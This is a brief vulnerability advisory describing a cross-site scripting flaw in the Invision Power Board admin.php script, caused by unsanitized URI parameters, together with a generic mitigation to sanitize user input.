Invision Power Board admin.php script reported prone to a cross-site scripting vulnerability

Invision Power Board is prone to a cross-site scripting vulnerability due to a lack of sufficient sanitization performed by functions in an Invision Power Board script on user-influenced URI parameters. A remote attacker can construct a malicious link to the affected script hosted on a remote site, and supply arbitrary HTML code as a value for a URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in the application.
